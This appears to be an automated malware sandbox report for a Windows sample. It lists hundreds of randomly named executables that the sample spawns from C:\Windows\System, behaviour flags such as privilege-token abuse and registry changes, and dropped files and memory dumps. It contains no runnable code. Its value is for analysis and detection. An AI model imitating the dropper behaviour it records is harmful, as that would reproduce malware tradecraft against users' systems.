C:\Windows\System\gAqWSXG.exeC:\Windows\System\gAqWSXG.exe2⤵
-
-
C:\Windows\System\PxfkMxp.exeC:\Windows\System\PxfkMxp.exe2⤵
-
-
C:\Windows\System\QgsMqgX.exeC:\Windows\System\QgsMqgX.exe2⤵
-
-
C:\Windows\System\zWafsrw.exeC:\Windows\System\zWafsrw.exe2⤵
-
-
C:\Windows\System\TVFYfxN.exeC:\Windows\System\TVFYfxN.exe2⤵
-
-
C:\Windows\System\VRyvEeg.exeC:\Windows\System\VRyvEeg.exe2⤵
-
-
C:\Windows\System\lhAMDIu.exeC:\Windows\System\lhAMDIu.exe2⤵
-
-
C:\Windows\System\ZyMbuEa.exeC:\Windows\System\ZyMbuEa.exe2⤵
-
-
C:\Windows\System\RTfTqFh.exeC:\Windows\System\RTfTqFh.exe2⤵
-
-
C:\Windows\System\dLPFTiK.exeC:\Windows\System\dLPFTiK.exe2⤵
-
-
C:\Windows\System\YqRkwpB.exeC:\Windows\System\YqRkwpB.exe2⤵
-
-
C:\Windows\System\pktebsE.exeC:\Windows\System\pktebsE.exe2⤵
-
-
C:\Windows\System\TUDTQYV.exeC:\Windows\System\TUDTQYV.exe2⤵
-
-
C:\Windows\System\XCfLCTu.exeC:\Windows\System\XCfLCTu.exe2⤵
-
-
C:\Windows\System\VXNjYSG.exeC:\Windows\System\VXNjYSG.exe2⤵
-
-
C:\Windows\System\VYUfKVa.exeC:\Windows\System\VYUfKVa.exe2⤵
-
-
C:\Windows\System\thkBouY.exeC:\Windows\System\thkBouY.exe2⤵
-
-
C:\Windows\System\dHhMitO.exeC:\Windows\System\dHhMitO.exe2⤵
-
-
C:\Windows\System\zijawkq.exeC:\Windows\System\zijawkq.exe2⤵
-
-
C:\Windows\System\jkvrzYL.exeC:\Windows\System\jkvrzYL.exe2⤵
-
-
C:\Windows\System\ltLGTuZ.exeC:\Windows\System\ltLGTuZ.exe2⤵
-
-
C:\Windows\System\hGjYqpK.exeC:\Windows\System\hGjYqpK.exe2⤵
-
-
C:\Windows\System\idfoTdD.exeC:\Windows\System\idfoTdD.exe2⤵
-
-
C:\Windows\System\LfgxNoX.exeC:\Windows\System\LfgxNoX.exe2⤵
-
-
C:\Windows\System\ZIJaCLf.exeC:\Windows\System\ZIJaCLf.exe2⤵
-
-
C:\Windows\System\oltuaqw.exeC:\Windows\System\oltuaqw.exe2⤵
-
-
C:\Windows\System\YZPaEFd.exeC:\Windows\System\YZPaEFd.exe2⤵
-
-
C:\Windows\System\nyseyHd.exeC:\Windows\System\nyseyHd.exe2⤵
-
-
C:\Windows\System\KlhovIN.exeC:\Windows\System\KlhovIN.exe2⤵
-
-
C:\Windows\System\WsnoOZW.exeC:\Windows\System\WsnoOZW.exe2⤵
-
-
C:\Windows\System\VubKWpO.exeC:\Windows\System\VubKWpO.exe2⤵
-
-
C:\Windows\System\sQpiYin.exeC:\Windows\System\sQpiYin.exe2⤵
-
-
C:\Windows\System\knhcxJC.exeC:\Windows\System\knhcxJC.exe2⤵
-
-
C:\Windows\System\RmLgwwb.exeC:\Windows\System\RmLgwwb.exe2⤵
-
-
C:\Windows\System\ijueQfJ.exeC:\Windows\System\ijueQfJ.exe2⤵
-
-
C:\Windows\System\pDfvBgi.exeC:\Windows\System\pDfvBgi.exe2⤵
-
-
C:\Windows\System\BzKvnfK.exeC:\Windows\System\BzKvnfK.exe2⤵
-
-
C:\Windows\System\qsWTqge.exeC:\Windows\System\qsWTqge.exe2⤵
-
-
C:\Windows\System\aUUnmBQ.exeC:\Windows\System\aUUnmBQ.exe2⤵
-
-
C:\Windows\System\IlJHiuV.exeC:\Windows\System\IlJHiuV.exe2⤵
-
-
C:\Windows\System\bXwVdCH.exeC:\Windows\System\bXwVdCH.exe2⤵
-
-
C:\Windows\System\ZXowuoD.exeC:\Windows\System\ZXowuoD.exe2⤵
-
-
C:\Windows\System\gqBKnbF.exeC:\Windows\System\gqBKnbF.exe2⤵
-
-
C:\Windows\System\OFdApPD.exeC:\Windows\System\OFdApPD.exe2⤵
-
-
C:\Windows\System\YlsrnEw.exeC:\Windows\System\YlsrnEw.exe2⤵
-
-
C:\Windows\System\iDfqQsL.exeC:\Windows\System\iDfqQsL.exe2⤵
-
-
C:\Windows\System\uYDSyHN.exeC:\Windows\System\uYDSyHN.exe2⤵
-
-
C:\Windows\System\ddTnLCE.exeC:\Windows\System\ddTnLCE.exe2⤵
-
-
C:\Windows\System\MgXmKzj.exeC:\Windows\System\MgXmKzj.exe2⤵
-
-
C:\Windows\System\VrrJpal.exeC:\Windows\System\VrrJpal.exe2⤵
-
-
C:\Windows\System\OBVZDDJ.exeC:\Windows\System\OBVZDDJ.exe2⤵
-
-
C:\Windows\System\oSCHwtc.exeC:\Windows\System\oSCHwtc.exe2⤵
-
-
C:\Windows\System\rpUhvyZ.exeC:\Windows\System\rpUhvyZ.exe2⤵
-
-
C:\Windows\System\hyQjLXL.exeC:\Windows\System\hyQjLXL.exe2⤵
-
-
C:\Windows\System\gdtmgyS.exeC:\Windows\System\gdtmgyS.exe2⤵
-
-
C:\Windows\System\ZZXuEcj.exeC:\Windows\System\ZZXuEcj.exe2⤵
-
-
C:\Windows\System\FTHugvo.exeC:\Windows\System\FTHugvo.exe2⤵
-
-
C:\Windows\System\IfBkMAK.exeC:\Windows\System\IfBkMAK.exe2⤵
-
-
C:\Windows\System\qQdHHDS.exeC:\Windows\System\qQdHHDS.exe2⤵
-
-
C:\Windows\System\jiANWYU.exeC:\Windows\System\jiANWYU.exe2⤵
-
-
C:\Windows\System\WxwkJic.exeC:\Windows\System\WxwkJic.exe2⤵
-
-
C:\Windows\System\mGKDeXs.exeC:\Windows\System\mGKDeXs.exe2⤵
-
-
C:\Windows\System\RHtEjFs.exeC:\Windows\System\RHtEjFs.exe2⤵
-
-
C:\Windows\System\tFUTepr.exeC:\Windows\System\tFUTepr.exe2⤵
-
-
C:\Windows\System\DbptjPt.exeC:\Windows\System\DbptjPt.exe2⤵
-
-
C:\Windows\System\lewijkc.exeC:\Windows\System\lewijkc.exe2⤵
-
-
C:\Windows\System\okrZGlZ.exeC:\Windows\System\okrZGlZ.exe2⤵
-
-
C:\Windows\System\ilHXFMu.exeC:\Windows\System\ilHXFMu.exe2⤵
-
-
C:\Windows\System\NrkHNBx.exeC:\Windows\System\NrkHNBx.exe2⤵
-
-
C:\Windows\System\lBclzLr.exeC:\Windows\System\lBclzLr.exe2⤵
-
-
C:\Windows\System\IvHIzIy.exeC:\Windows\System\IvHIzIy.exe2⤵
-
-
C:\Windows\System\QtiCGgI.exeC:\Windows\System\QtiCGgI.exe2⤵
-
-
C:\Windows\System\jekkDIo.exeC:\Windows\System\jekkDIo.exe2⤵
-
-
C:\Windows\System\ioxuhov.exeC:\Windows\System\ioxuhov.exe2⤵
-
-
C:\Windows\System\pNGEURf.exeC:\Windows\System\pNGEURf.exe2⤵
-
-
C:\Windows\System\IbujoME.exeC:\Windows\System\IbujoME.exe2⤵
-
-
C:\Windows\System\sRHkdaF.exeC:\Windows\System\sRHkdaF.exe2⤵
-
-
C:\Windows\System\tSOBHKQ.exeC:\Windows\System\tSOBHKQ.exe2⤵
-
-
C:\Windows\System\MEQKBFp.exeC:\Windows\System\MEQKBFp.exe2⤵
-
-
C:\Windows\System\yQBKMhy.exeC:\Windows\System\yQBKMhy.exe2⤵
-
-
C:\Windows\System\QhqUCeK.exeC:\Windows\System\QhqUCeK.exe2⤵
-
-
C:\Windows\System\zhKVdDR.exeC:\Windows\System\zhKVdDR.exe2⤵
-
-
C:\Windows\System\GlygGSZ.exeC:\Windows\System\GlygGSZ.exe2⤵
-
-
C:\Windows\System\LCcJSwJ.exeC:\Windows\System\LCcJSwJ.exe2⤵
-
-
C:\Windows\System\VGsXgMc.exeC:\Windows\System\VGsXgMc.exe2⤵
-
-
C:\Windows\System\UMEqSis.exeC:\Windows\System\UMEqSis.exe2⤵
-
-
C:\Windows\System\GyKxUjE.exeC:\Windows\System\GyKxUjE.exe2⤵
-
-
C:\Windows\System\ySEfdiN.exeC:\Windows\System\ySEfdiN.exe2⤵
-
-
C:\Windows\System\vKOMLYK.exeC:\Windows\System\vKOMLYK.exe2⤵
-
-
C:\Windows\System\GLjftcK.exeC:\Windows\System\GLjftcK.exe2⤵
-
-
C:\Windows\System\ZKXJiRD.exeC:\Windows\System\ZKXJiRD.exe2⤵
-
-
C:\Windows\System\yvoFXJN.exeC:\Windows\System\yvoFXJN.exe2⤵
-
-
C:\Windows\System\rSkPwJU.exeC:\Windows\System\rSkPwJU.exe2⤵
-
-
C:\Windows\System\nvpwsWA.exeC:\Windows\System\nvpwsWA.exe2⤵
-
-
C:\Windows\System\QVpFvQI.exeC:\Windows\System\QVpFvQI.exe2⤵
-
-
C:\Windows\System\UksMOdp.exeC:\Windows\System\UksMOdp.exe2⤵
-
-
C:\Windows\System\cbblEsh.exeC:\Windows\System\cbblEsh.exe2⤵
-
-
C:\Windows\System\BOJRZLP.exeC:\Windows\System\BOJRZLP.exe2⤵
-
-
C:\Windows\System\kRVGHBs.exeC:\Windows\System\kRVGHBs.exe2⤵
-
-
C:\Windows\System\VYMessI.exeC:\Windows\System\VYMessI.exe2⤵
-
-
C:\Windows\System\yazjNxu.exeC:\Windows\System\yazjNxu.exe2⤵
-
-
C:\Windows\System\LafXTYh.exeC:\Windows\System\LafXTYh.exe2⤵
-
-
C:\Windows\System\ICIuSeK.exeC:\Windows\System\ICIuSeK.exe2⤵
-
-
C:\Windows\System\RSbVApQ.exeC:\Windows\System\RSbVApQ.exe2⤵
-
-
C:\Windows\System\bqfCRXJ.exeC:\Windows\System\bqfCRXJ.exe2⤵
-
-
C:\Windows\System\KxZDIgj.exeC:\Windows\System\KxZDIgj.exe2⤵
-
-
C:\Windows\System\QSouoZC.exeC:\Windows\System\QSouoZC.exe2⤵
-
-
C:\Windows\System\PcPRxoZ.exeC:\Windows\System\PcPRxoZ.exe2⤵
-
-
C:\Windows\System\jMUmyqd.exeC:\Windows\System\jMUmyqd.exe2⤵
-
-
C:\Windows\System\KSsxxJw.exeC:\Windows\System\KSsxxJw.exe2⤵
-
-
C:\Windows\System\TjBPIgw.exeC:\Windows\System\TjBPIgw.exe2⤵
-
-
C:\Windows\System\yWvsmoI.exeC:\Windows\System\yWvsmoI.exe2⤵
-
-
C:\Windows\System\EeIjCSR.exeC:\Windows\System\EeIjCSR.exe2⤵
-
-
C:\Windows\System\ZnAROsB.exeC:\Windows\System\ZnAROsB.exe2⤵
-
-
C:\Windows\System\qqACkxi.exeC:\Windows\System\qqACkxi.exe2⤵
-
-
C:\Windows\System\mKTEgoD.exeC:\Windows\System\mKTEgoD.exe2⤵
-
-
C:\Windows\System\MEjXdWz.exeC:\Windows\System\MEjXdWz.exe2⤵
-
-
C:\Windows\System\ddrXZnJ.exeC:\Windows\System\ddrXZnJ.exe2⤵
-
-
C:\Windows\System\fydXcIt.exeC:\Windows\System\fydXcIt.exe2⤵
-
-
C:\Windows\System\NysazKu.exeC:\Windows\System\NysazKu.exe2⤵
-
-
C:\Windows\System\CVlANUW.exeC:\Windows\System\CVlANUW.exe2⤵
-
-
C:\Windows\System\NWqycNj.exeC:\Windows\System\NWqycNj.exe2⤵
-
-
C:\Windows\System\DtYHZJQ.exeC:\Windows\System\DtYHZJQ.exe2⤵
-
-
C:\Windows\System\hfCYwSd.exeC:\Windows\System\hfCYwSd.exe2⤵
-
-
C:\Windows\System\dpEeNvR.exeC:\Windows\System\dpEeNvR.exe2⤵
-
-
C:\Windows\System\ebiLscZ.exeC:\Windows\System\ebiLscZ.exe2⤵
-
-
C:\Windows\System\VPmVRqi.exeC:\Windows\System\VPmVRqi.exe2⤵
-
-
C:\Windows\System\BlFtoFh.exeC:\Windows\System\BlFtoFh.exe2⤵
-
-
C:\Windows\System\IkzsIsk.exeC:\Windows\System\IkzsIsk.exe2⤵
-
-
C:\Windows\System\jNDOrPt.exeC:\Windows\System\jNDOrPt.exe2⤵
-
-
C:\Windows\System\wtWYfeq.exeC:\Windows\System\wtWYfeq.exe2⤵
-
-
C:\Windows\System\SzTTVXA.exeC:\Windows\System\SzTTVXA.exe2⤵
-
-
C:\Windows\System\GbMMgVd.exeC:\Windows\System\GbMMgVd.exe2⤵
-
-
C:\Windows\System\jYAwWRm.exeC:\Windows\System\jYAwWRm.exe2⤵
-
-
C:\Windows\System\lZdfjWL.exeC:\Windows\System\lZdfjWL.exe2⤵
-
-
C:\Windows\System\jtccELl.exeC:\Windows\System\jtccELl.exe2⤵
-
-
C:\Windows\System\zwoFTNE.exeC:\Windows\System\zwoFTNE.exe2⤵
-
-
C:\Windows\System\GGIGAaf.exeC:\Windows\System\GGIGAaf.exe2⤵
-
-
C:\Windows\System\xuPRulD.exeC:\Windows\System\xuPRulD.exe2⤵
-
-
C:\Windows\System\IVNZlyg.exeC:\Windows\System\IVNZlyg.exe2⤵
-
-
C:\Windows\System\NnLmvHc.exeC:\Windows\System\NnLmvHc.exe2⤵
-
-
C:\Windows\System\AsccYfj.exeC:\Windows\System\AsccYfj.exe2⤵
-
-
C:\Windows\System\GoiZVIU.exeC:\Windows\System\GoiZVIU.exe2⤵
-
-
C:\Windows\System\LhTIcBd.exeC:\Windows\System\LhTIcBd.exe2⤵
-
-
C:\Windows\System\gliHzLJ.exeC:\Windows\System\gliHzLJ.exe2⤵
-
-
C:\Windows\System\VHnopJB.exeC:\Windows\System\VHnopJB.exe2⤵
-
-
C:\Windows\System\TEHDGHs.exeC:\Windows\System\TEHDGHs.exe2⤵
-
-
C:\Windows\System\BAlfkpN.exeC:\Windows\System\BAlfkpN.exe2⤵
-
-
C:\Windows\System\CNSxaia.exeC:\Windows\System\CNSxaia.exe2⤵
-
-
C:\Windows\System\ppHwxwO.exeC:\Windows\System\ppHwxwO.exe2⤵
-
-
C:\Windows\System\TnHRMGN.exeC:\Windows\System\TnHRMGN.exe2⤵
-
-
C:\Windows\System\sqSvnIR.exeC:\Windows\System\sqSvnIR.exe2⤵
-
-
C:\Windows\System\DbxmYPK.exeC:\Windows\System\DbxmYPK.exe2⤵
-
-
C:\Windows\System\DjqaOCy.exeC:\Windows\System\DjqaOCy.exe2⤵
-
-
C:\Windows\System\GEUaNcI.exeC:\Windows\System\GEUaNcI.exe2⤵
-
-
C:\Windows\System\XUHXZQp.exeC:\Windows\System\XUHXZQp.exe2⤵
-
-
C:\Windows\System\gRwpfFa.exeC:\Windows\System\gRwpfFa.exe2⤵
-
-
C:\Windows\System\vQbwWlD.exeC:\Windows\System\vQbwWlD.exe2⤵
-
-
C:\Windows\System\ZLJZzIO.exeC:\Windows\System\ZLJZzIO.exe2⤵
-
-
C:\Windows\System\TIsnVef.exeC:\Windows\System\TIsnVef.exe2⤵
-
-
C:\Windows\System\KuFiXEF.exeC:\Windows\System\KuFiXEF.exe2⤵
-
-
C:\Windows\System\wLnxkhF.exeC:\Windows\System\wLnxkhF.exe2⤵
-
-
C:\Windows\System\edtMjRy.exeC:\Windows\System\edtMjRy.exe2⤵
-
-
C:\Windows\System\WvXEiJG.exeC:\Windows\System\WvXEiJG.exe2⤵
-
-
C:\Windows\System\QuSytKB.exeC:\Windows\System\QuSytKB.exe2⤵
-
-
C:\Windows\System\BinrklB.exeC:\Windows\System\BinrklB.exe2⤵
-
-
C:\Windows\System\gcLalRe.exeC:\Windows\System\gcLalRe.exe2⤵
-
-
C:\Windows\System\ZgZGhYi.exeC:\Windows\System\ZgZGhYi.exe2⤵
-
-
C:\Windows\System\mcYLIoS.exeC:\Windows\System\mcYLIoS.exe2⤵
-
-
C:\Windows\System\ekyzAAG.exeC:\Windows\System\ekyzAAG.exe2⤵
-
-
C:\Windows\System\sPDNfCC.exeC:\Windows\System\sPDNfCC.exe2⤵
-
-
C:\Windows\System\HhYDKDP.exeC:\Windows\System\HhYDKDP.exe2⤵
-
-
C:\Windows\System\qRxgMOt.exeC:\Windows\System\qRxgMOt.exe2⤵
-
-
C:\Windows\System\wIzUuWh.exeC:\Windows\System\wIzUuWh.exe2⤵
-
-
C:\Windows\System\VlilSuY.exeC:\Windows\System\VlilSuY.exe2⤵
-
-
C:\Windows\System\zUDjfxy.exeC:\Windows\System\zUDjfxy.exe2⤵
-
-
C:\Windows\System\NuEoRqE.exeC:\Windows\System\NuEoRqE.exe2⤵
-
-
C:\Windows\System\FlyviVr.exeC:\Windows\System\FlyviVr.exe2⤵
-
-
C:\Windows\System\NIBxCuG.exeC:\Windows\System\NIBxCuG.exe2⤵
-
-
C:\Windows\System\sRWoYvn.exeC:\Windows\System\sRWoYvn.exe2⤵
-
-
C:\Windows\System\svATQxR.exeC:\Windows\System\svATQxR.exe2⤵
-
-
C:\Windows\System\CDGTGoP.exeC:\Windows\System\CDGTGoP.exe2⤵
-
-
C:\Windows\System\LaYAUko.exeC:\Windows\System\LaYAUko.exe2⤵
-
-
C:\Windows\System\WVddDXA.exeC:\Windows\System\WVddDXA.exe2⤵
-
-
C:\Windows\System\FVKihXc.exeC:\Windows\System\FVKihXc.exe2⤵
-
-
C:\Windows\System\OSLCVUi.exeC:\Windows\System\OSLCVUi.exe2⤵
-
-
C:\Windows\System\ETMhduB.exeC:\Windows\System\ETMhduB.exe2⤵
-
-
C:\Windows\System\tzajJec.exeC:\Windows\System\tzajJec.exe2⤵
-
-
C:\Windows\System\fOYPaTw.exeC:\Windows\System\fOYPaTw.exe2⤵
-
-
C:\Windows\System\tsEjVXO.exeC:\Windows\System\tsEjVXO.exe2⤵
-
-
C:\Windows\System\HTqjbRF.exeC:\Windows\System\HTqjbRF.exe2⤵
-
-
C:\Windows\System\YiUWAUm.exeC:\Windows\System\YiUWAUm.exe2⤵
-
-
C:\Windows\System\vtwPJOg.exeC:\Windows\System\vtwPJOg.exe2⤵
-
-
C:\Windows\System\sMqRFxE.exeC:\Windows\System\sMqRFxE.exe2⤵
-
-
C:\Windows\System\bQGBuOV.exeC:\Windows\System\bQGBuOV.exe2⤵
-
-
C:\Windows\System\dcpEBmn.exeC:\Windows\System\dcpEBmn.exe2⤵
-
-
C:\Windows\System\fLUrAEH.exeC:\Windows\System\fLUrAEH.exe2⤵
-
-
C:\Windows\System\WiHCRge.exeC:\Windows\System\WiHCRge.exe2⤵
-
-
C:\Windows\System\gepLahh.exeC:\Windows\System\gepLahh.exe2⤵
-
-
C:\Windows\System\huGfrhc.exeC:\Windows\System\huGfrhc.exe2⤵
-
-
C:\Windows\System\wtzuioE.exeC:\Windows\System\wtzuioE.exe2⤵
-
-
C:\Windows\System\CSjPlLN.exeC:\Windows\System\CSjPlLN.exe2⤵
-
-
C:\Windows\System\YncluDq.exeC:\Windows\System\YncluDq.exe2⤵
-
-
C:\Windows\System\WaTXVNI.exeC:\Windows\System\WaTXVNI.exe2⤵
-
-
C:\Windows\System\hOJvjAx.exeC:\Windows\System\hOJvjAx.exe2⤵
-
-
C:\Windows\System\MOQrgFG.exeC:\Windows\System\MOQrgFG.exe2⤵
-
-
C:\Windows\System\ZYGNttk.exeC:\Windows\System\ZYGNttk.exe2⤵
-
-
C:\Windows\System\fryEGkG.exeC:\Windows\System\fryEGkG.exe2⤵
-
-
C:\Windows\System\irVufSg.exeC:\Windows\System\irVufSg.exe2⤵
-
-
C:\Windows\System\OzpdUad.exeC:\Windows\System\OzpdUad.exe2⤵
-
-
C:\Windows\System\NUIFTwU.exeC:\Windows\System\NUIFTwU.exe2⤵
-
-
C:\Windows\System\AhEWqih.exeC:\Windows\System\AhEWqih.exe2⤵
-
-
C:\Windows\System\GFESGyr.exeC:\Windows\System\GFESGyr.exe2⤵
-
-
C:\Windows\System\wlNLHgR.exeC:\Windows\System\wlNLHgR.exe2⤵
-
-
C:\Windows\System\SqvucKT.exeC:\Windows\System\SqvucKT.exe2⤵
-
-
C:\Windows\System\WLHtLlY.exeC:\Windows\System\WLHtLlY.exe2⤵
-
-
C:\Windows\System\AXosByC.exeC:\Windows\System\AXosByC.exe2⤵
-
-
C:\Windows\System\onNLILB.exeC:\Windows\System\onNLILB.exe2⤵
-
-
C:\Windows\System\ODeqOuk.exeC:\Windows\System\ODeqOuk.exe2⤵
-
-
C:\Windows\System\tUUSecm.exeC:\Windows\System\tUUSecm.exe2⤵
-
-
C:\Windows\System\MUUYjEP.exeC:\Windows\System\MUUYjEP.exe2⤵
-
-
C:\Windows\System\EJKQroK.exeC:\Windows\System\EJKQroK.exe2⤵
-
-
C:\Windows\System\HAkITVV.exeC:\Windows\System\HAkITVV.exe2⤵
-
-
C:\Windows\System\DeJRKSD.exeC:\Windows\System\DeJRKSD.exe2⤵
-
-
C:\Windows\System\KxMfCId.exeC:\Windows\System\KxMfCId.exe2⤵
-
-
C:\Windows\System\TFrTRrC.exeC:\Windows\System\TFrTRrC.exe2⤵
-
-
C:\Windows\System\balwwQu.exeC:\Windows\System\balwwQu.exe2⤵
-
-
C:\Windows\System\BaUXgvS.exeC:\Windows\System\BaUXgvS.exe2⤵
-
-
C:\Windows\System\lTkyKfa.exeC:\Windows\System\lTkyKfa.exe2⤵
-
-
C:\Windows\System\RGVQtuZ.exeC:\Windows\System\RGVQtuZ.exe2⤵
-
-
C:\Windows\System\NUguQsK.exeC:\Windows\System\NUguQsK.exe2⤵
-
-
C:\Windows\System\tAIgzNX.exeC:\Windows\System\tAIgzNX.exe2⤵
-
-
C:\Windows\System\VMMYcbZ.exeC:\Windows\System\VMMYcbZ.exe2⤵
-
-
C:\Windows\System\qoviWuk.exeC:\Windows\System\qoviWuk.exe2⤵
-
-
C:\Windows\System\PpbeHOw.exeC:\Windows\System\PpbeHOw.exe2⤵
-
-
C:\Windows\System\HmfJeqi.exeC:\Windows\System\HmfJeqi.exe2⤵
-
-
C:\Windows\System\EymoCfT.exeC:\Windows\System\EymoCfT.exe2⤵
-
-
C:\Windows\System\ESQvyNq.exeC:\Windows\System\ESQvyNq.exe2⤵
-
-
C:\Windows\System\VdieYCs.exeC:\Windows\System\VdieYCs.exe2⤵
-
-
C:\Windows\System\zHgkxFn.exeC:\Windows\System\zHgkxFn.exe2⤵
-
-
C:\Windows\System\kbryzDv.exeC:\Windows\System\kbryzDv.exe2⤵
-
-
C:\Windows\System\QvsPPKT.exeC:\Windows\System\QvsPPKT.exe2⤵
-
-
C:\Windows\System\NHelaWA.exeC:\Windows\System\NHelaWA.exe2⤵
-
-
C:\Windows\System\xLBtQDH.exeC:\Windows\System\xLBtQDH.exe2⤵
-
-
C:\Windows\System\gYQxFnJ.exeC:\Windows\System\gYQxFnJ.exe2⤵
-
-
C:\Windows\System\qprvKyr.exeC:\Windows\System\qprvKyr.exe2⤵
-
-
C:\Windows\System\VlJJkxR.exeC:\Windows\System\VlJJkxR.exe2⤵
-
-
C:\Windows\System\qdoGycE.exeC:\Windows\System\qdoGycE.exe2⤵
-
-
C:\Windows\System\ZVGoezq.exeC:\Windows\System\ZVGoezq.exe2⤵
-
-
C:\Windows\System\fntYgWp.exeC:\Windows\System\fntYgWp.exe2⤵
-
-
C:\Windows\System\IPMBvZY.exeC:\Windows\System\IPMBvZY.exe2⤵
-
-
C:\Windows\System\ibhaWDb.exeC:\Windows\System\ibhaWDb.exe2⤵
-
-
C:\Windows\System\eIsFxpa.exeC:\Windows\System\eIsFxpa.exe2⤵
-
-
C:\Windows\System\QhBTCjX.exeC:\Windows\System\QhBTCjX.exe2⤵
-
-
C:\Windows\System\qOclpAY.exeC:\Windows\System\qOclpAY.exe2⤵
-
-
C:\Windows\System\rcbouSt.exeC:\Windows\System\rcbouSt.exe2⤵
-
-
C:\Windows\System\jlvuROZ.exeC:\Windows\System\jlvuROZ.exe2⤵
-
-
C:\Windows\System\tBluwOb.exeC:\Windows\System\tBluwOb.exe2⤵
-
-
C:\Windows\System\OniIqdW.exeC:\Windows\System\OniIqdW.exe2⤵
-
-
C:\Windows\System\EkyIlfa.exeC:\Windows\System\EkyIlfa.exe2⤵
-
-
C:\Windows\System\IZFJmSH.exeC:\Windows\System\IZFJmSH.exe2⤵
-
-
C:\Windows\System\zXRYIwT.exeC:\Windows\System\zXRYIwT.exe2⤵
-
-
C:\Windows\System\cCgPBJP.exeC:\Windows\System\cCgPBJP.exe2⤵
-
-
C:\Windows\System\fgKNoWe.exeC:\Windows\System\fgKNoWe.exe2⤵
-
-
C:\Windows\System\eKYfpDx.exeC:\Windows\System\eKYfpDx.exe2⤵
-
-
C:\Windows\System\GuHPLcC.exeC:\Windows\System\GuHPLcC.exe2⤵
-
-
C:\Windows\System\AueXDps.exeC:\Windows\System\AueXDps.exe2⤵
-
-
C:\Windows\System\yGohJBG.exeC:\Windows\System\yGohJBG.exe2⤵
-
-
C:\Windows\System\deuypPI.exeC:\Windows\System\deuypPI.exe2⤵
-
-
C:\Windows\System\OffSkNm.exeC:\Windows\System\OffSkNm.exe2⤵
-
-
C:\Windows\System\hKtNQPp.exeC:\Windows\System\hKtNQPp.exe2⤵
-
-
C:\Windows\System\fLBWdmm.exeC:\Windows\System\fLBWdmm.exe2⤵
-
-
C:\Windows\System\NFLqVof.exeC:\Windows\System\NFLqVof.exe2⤵
-
-
C:\Windows\System\PJZsMHq.exeC:\Windows\System\PJZsMHq.exe2⤵
-
-
C:\Windows\System\mbGSkNc.exeC:\Windows\System\mbGSkNc.exe2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_w2cyen4h.brl.ps1
CXGSdXb.exe
DFwkVGK.exe
LruCyTr.exe
MViRcSv.exe
NByyrsx.exe
QSEojmZ.exe
QkeBtyI.exe
RHHPujO.exe
WpMypXd.exe
XBZtjhC.exe
XIgEMQm.exe
XfmRAJh.exe
ZrvjWrK.exe
bSdCQiM.exe
dblLbJm.exe
hbTswRT.exe
hgOlofk.exe
ifDloVr.exe
jXtoBUP.exe
joUJqsh.exe
kLxxPWx.exe
kigrBRY.exe
pCEatQT.exe
qInizRc.exe
qUkBVyb.exe
rNkemDU.exe
rTXnjTi.exe
raofoTm.exe
rqtmJqy.exe
sxvjntS.exe
wucxYYj.exe
wxFnqzr.exe
xcQgIBR.exe
xfEYGJt.exe
memory/232-2370-0x00007FF799ED0000-0x00007FF79A2C6000-memory.dmp
memory/232-682-0x00007FF799ED0000-0x00007FF79A2C6000-memory.dmp
memory/656-2359-0x00007FF6880D0000-0x00007FF6884C6000-memory.dmp
memory/656-679-0x00007FF6880D0000-0x00007FF6884C6000-memory.dmp
memory/740-85-0x00007FF6B1950000-0x00007FF6B1D46000-memory.dmp
memory/740-2355-0x00007FF6B1950000-0x00007FF6B1D46000-memory.dmp
memory/920-678-0x00007FF6C3DA0000-0x00007FF6C4196000-memory.dmp
memory/920-2364-0x00007FF6C3DA0000-0x00007FF6C4196000-memory.dmp
memory/936-688-0x00007FF7B71E0000-0x00007FF7B75D6000-memory.dmp
memory/936-2373-0x00007FF7B71E0000-0x00007FF7B75D6000-memory.dmp
memory/1496-2356-0x00007FF718B00000-0x00007FF718EF6000-memory.dmp
memory/1496-80-0x00007FF718B00000-0x00007FF718EF6000-memory.dmp
memory/1588-2346-0x00007FF766260000-0x00007FF766656000-memory.dmp
memory/1588-2353-0x00007FF766260000-0x00007FF766656000-memory.dmp
memory/1588-21-0x00007FF766260000-0x00007FF766656000-memory.dmp
memory/1616-2372-0x00007FF71A900000-0x00007FF71ACF6000-memory.dmp
memory/1616-684-0x00007FF71A900000-0x00007FF71ACF6000-memory.dmp
memory/1708-88-0x00007FF6217F0000-0x00007FF621BE6000-memory.dmp
memory/1708-2360-0x00007FF6217F0000-0x00007FF621BE6000-memory.dmp
memory/1768-57-0x00007FF71BC90000-0x00007FF71C086000-memory.dmp
memory/1768-2357-0x00007FF71BC90000-0x00007FF71C086000-memory.dmp
memory/1768-2348-0x00007FF71BC90000-0x00007FF71C086000-memory.dmp
memory/1860-431-0x000001FAABD30000-0x000001FAAC4D6000-memory.dmp
memory/1860-107-0x000001FA90AF0000-0x000001FA90B12000-memory.dmp
memory/1860-18-0x00007FFBF7793000-0x00007FFBF7795000-memory.dmp
memory/1860-12-0x000001FA90690000-0x000001FA906A0000-memory.dmp
memory/1860-2345-0x00007FFBF7793000-0x00007FFBF7795000-memory.dmp
memory/2012-11-0x00007FF648800000-0x00007FF648BF6000-memory.dmp
memory/2012-2350-0x00007FF648800000-0x00007FF648BF6000-memory.dmp
memory/2244-2361-0x00007FF766080000-0x00007FF766476000-memory.dmp
memory/2244-680-0x00007FF766080000-0x00007FF766476000-memory.dmp
memory/2252-691-0x00007FF60E470000-0x00007FF60E866000-memory.dmp
memory/2252-2367-0x00007FF60E470000-0x00007FF60E866000-memory.dmp
memory/2276-2366-0x00007FF6A5F30000-0x00007FF6A6326000-memory.dmp
memory/2276-677-0x00007FF6A5F30000-0x00007FF6A6326000-memory.dmp
memory/2864-1-0x000001D3E8DB0000-0x000001D3E8DC0000-memory.dmp
memory/2864-0-0x00007FF65B030000-0x00007FF65B426000-memory.dmp
memory/3552-74-0x00007FF77C700000-0x00007FF77CAF6000-memory.dmp
memory/3552-2358-0x00007FF77C700000-0x00007FF77CAF6000-memory.dmp
memory/3552-2349-0x00007FF77C700000-0x00007FF77CAF6000-memory.dmp
memory/3748-2362-0x00007FF6E5990000-0x00007FF6E5D86000-memory.dmp
memory/3748-98-0x00007FF6E5990000-0x00007FF6E5D86000-memory.dmp
memory/4468-698-0x00007FF7D5550000-0x00007FF7D5946000-memory.dmp
memory/4468-2365-0x00007FF7D5550000-0x00007FF7D5946000-memory.dmp
